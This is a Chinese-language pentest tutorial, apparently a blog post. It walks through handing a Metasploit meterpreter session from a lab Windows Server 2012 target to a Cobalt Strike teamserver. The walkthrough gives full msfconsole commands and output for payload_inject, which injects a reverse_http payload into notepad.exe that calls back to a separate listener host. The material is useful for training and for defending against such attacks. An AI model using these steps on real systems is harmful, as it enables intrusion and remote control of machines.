Cobaltstrike作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选,fireeye多次分析过实用cobaltstrike进行apt的案例。
cobaltstrike3新版的已经摒弃了metasploit,重写了所有的功能,但是鉴于metasploit功能的强大,cobaltstrike仍然保留了对metasploit的接口,今天我们不聊其他的,
只聊当我们使用metasploit获取到shell之后如何派生一个新的shell给cobaltstrike。系列参考我在安全脉搏上的:Cobalt strike browser pivot的应用实例
实验环境:
目标机器:windows server 2012 IP:192.168.81.150
metasploit机器:mac osx IP:192.168.1.103
cobaltstrike 机器:ubuntu 15.10 IP:192.168.81.135
首先,我们通过其他的途径,使用metasploit在payload在目标机器上获取了一个meterpreter:
进入我们获取到的meterpreter中
由于在metasploit的一些局限性和操作的不便利性,我们需要把metasploit获取到的shell派生出来一个新的shell,转交给cobaltstrike,方便我们协同渗透
在ubuntu机器上建立一个teamserver,然后本地链接,(仅仅为了演示,实际渗透中teamserver和client分开)
user@ubuntu:/pentest/exploits/framework3/cobaltstrike$ sudo ./teamserver 192.168.81.135 fuckfuckfuck [*] Generating X509 certificate and keystore (for SSL) [+] Team server is up on 50050 [*] SHA1 hash of SSL cert is: d59e4862132ac9033c8f91216148bfd6d1049803
启动客户端链接,这里我们需要建立一个新的监听器:
ok,接下来,我们开始把macos上由metasploit获取的shell派生出一个新的shell转交给cobaltstrike,这里我们需要用到一个exploit: exploit/windows/local/payload_inject
这个exploit是注入一个新的payload 到当前的session里面,我们看下具体的操作
exploit/windows/local/payload_injectmsf exploit(web_delivery) > use exploit/windows/local/payload_inject msf exploit(payload_inject) > show options Module options (exploit/windows/local/payload_inject): Name Current Setting Required Description ---- --------------- -------- ----------- NEWPROCESS false no New notepad.exe to inject to PID no Process Identifier to inject of process to inject payload. SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Windows msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit(payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(payload_inject) > set LHOST 192.168.81.135 LHOST => 192.168.81.135 msf exploit(payload_inject) > set LPORT 8880 LPORT => 8880 msf exploit(payload_inject) > set SESSION 1 SESSION => 1 msf exploit(payload_inject) > exploit [*] Running module against WIN-I6HQQE1E7AG [*] Launching notepad.exe... [*] Preparing 'windows/meterpreter/reverse_http' for PID 3916 msf exploit(payload_inject) >
这里我解释一下这些参数,
由于cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,所以我们的payload也要使用:
PAYLOAD windows/meterpreter/reverse_http
设置本地监听ip和端口,由于我们的监听器是cobaltstrike的,所以要用到cobaltstrike机器的ip和端口
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置
set DisablePayloadHandler true
设置我们的当前session,执行,看看ubuntu机器上的cobaltstrike是否已经接受了我们由metasploit派生出来的shell。
ok,ubuntu机器192.168.81.135上cobaltstrike已经有了一个新的shell,是由Mac主机192.168.1.103派生出来的新的,转交给cobaltstrike的。
在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。